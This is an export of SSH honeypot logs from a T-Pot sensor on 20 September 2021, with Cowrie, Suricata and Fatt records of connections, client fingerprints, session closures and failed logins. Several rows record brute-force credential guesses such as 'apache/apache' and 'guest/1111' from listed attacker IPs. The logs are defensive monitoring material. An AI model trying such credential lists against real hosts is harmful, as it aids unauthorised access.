24973	222.186.30.112	109.199.241.180	Cowrie	2021-09-20 14:09:27.041038+03	2021-09-20 14:15:09.496482+03	{"_id": "ygblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.112", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.112", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "16805c024401", "@version": "1", "duration": 1.3766663074493408, "timestamp": "2021-09-20T11:09:27.041038Z", "@timestamp": "2021-09-20T11:09:27.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24974	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:27.093818+03	2021-09-20 14:15:09.498503+03	{"_id": "ywblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [apache/apache] failed", "session": "e5b879242978", "@version": "1", "password": "apache", "username": "apache", "timestamp": "2021-09-20T11:09:27.093818Z", "@timestamp": "2021-09-20T11:09:27.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24975	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:27.136315+03	2021-09-20 14:15:09.49947+03	{"_id": "zAblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "659f8c926cfe", "@version": "1", "duration": 2.7253258228302, "timestamp": "2021-09-20T11:09:27.136315Z", "@timestamp": "2021-09-20T11:09:27.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24976	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:27.279961+03	2021-09-20 14:15:09.50047+03	{"_id": "zQblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1a63fe42fac6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:27.279961Z", "@timestamp": "2021-09-20T11:09:27.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24977	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:27.290897+03	2021-09-20 14:15:09.50147+03	{"_id": "zgblAnwBvYTbRNuEgBeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8eec8129e441", "@version": "1", "duration": 2.862208604812622, "timestamp": "2021-09-20T11:09:27.290897Z", "@timestamp": "2021-09-20T11:09:27.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24978	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:27.486712+03	2021-09-20 14:15:09.50247+03	{"_id": "zwblAnwBvYTbRNuEghfF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1070797286776386, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44954, "dest_port": 22, "timestamp": "2021-09-20T11:09:27.486712Z", "@timestamp": "2021-09-20T11:09:27.486Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24979	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:27.704126+03	2021-09-20 14:15:09.504483+03	{"_id": "1AblAnwBvYTbRNuEgxfO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37002, "timestamp": "2021-09-20T11:09:27.704126", "@timestamp": "2021-09-20T11:09:27.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24980	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:09:27.704703+03	2021-09-20 14:15:09.50547+03	{"_id": "0gblAnwBvYTbRNuEgxfO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37002, "dest_port": 22, "timestamp": "2021-09-20T11:09:27.704703", "@timestamp": "2021-09-20T11:09:27.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24981	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:09:27.426363+03	2021-09-20 14:15:09.50647+03	{"_id": "2AblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5307918302be", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:09:27.426363Z", "@timestamp": "2021-09-20T11:09:27.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24982	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:27.447833+03	2021-09-20 14:15:09.50747+03	{"_id": "2QblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3820d634de12", "@version": "1", "duration": 2.6527864933013916, "timestamp": "2021-09-20T11:09:27.447833Z", "@timestamp": "2021-09-20T11:09:27.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24983	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:27.490025+03	2021-09-20 14:15:09.509471+03	{"_id": "2gblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1a63fe42fac6", "@version": "1", "timestamp": "2021-09-20T11:09:27.490025Z", "@timestamp": "2021-09-20T11:09:27.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24984	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:27.563257+03	2021-09-20 14:15:09.510472+03	{"_id": "2wblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [joyce/joyce] failed", "session": "1693ec9b7520", "@version": "1", "password": "joyce", "username": "joyce", "timestamp": "2021-09-20T11:09:27.563257Z", "@timestamp": "2021-09-20T11:09:27.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24985	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:27.594171+03	2021-09-20 14:15:09.511472+03	{"_id": "3AblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "12c2bbc27243", "@version": "1", "duration": 120.00171661376953, "timestamp": "2021-09-20T11:09:27.594171Z", "@timestamp": "2021-09-20T11:09:27.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24986	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:09:27.70536+03	2021-09-20 14:15:09.512501+03	{"_id": "3QblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "5307918302be", "@version": "1", "timestamp": "2021-09-20T11:09:27.705360Z", "@timestamp": "2021-09-20T11:09:27.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24987	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:27.927728+03	2021-09-20 14:15:09.5135+03	{"_id": "3gblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [guest/1111] failed", "session": "0f0126aee32a", "@version": "1", "password": "1111", "username": "guest", "timestamp": "2021-09-20T11:09:27.927728Z", "@timestamp": "2021-09-20T11:09:27.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24988	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:28.046712+03	2021-09-20 14:15:09.5155+03	{"_id": "3wblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [sejong79/sejong79] failed", "session": "5d606a35689f", "@version": "1", "password": "sejong79", "username": "sejong79", "timestamp": "2021-09-20T11:09:28.046712Z", "@timestamp": "2021-09-20T11:09:28.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24989	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:28.374555+03	2021-09-20 14:15:09.516503+03	{"_id": "4AblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e5b879242978", "@version": "1", "duration": 2.486910104751587, "timestamp": "2021-09-20T11:09:28.374555Z", "@timestamp": "2021-09-20T11:09:28.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24990	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:28.399233+03	2021-09-20 14:15:09.5175+03	{"_id": "4QblAnwBvYTbRNuEhBdm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "524574b7b549", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:28.399233Z", "@timestamp": "2021-09-20T11:09:28.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	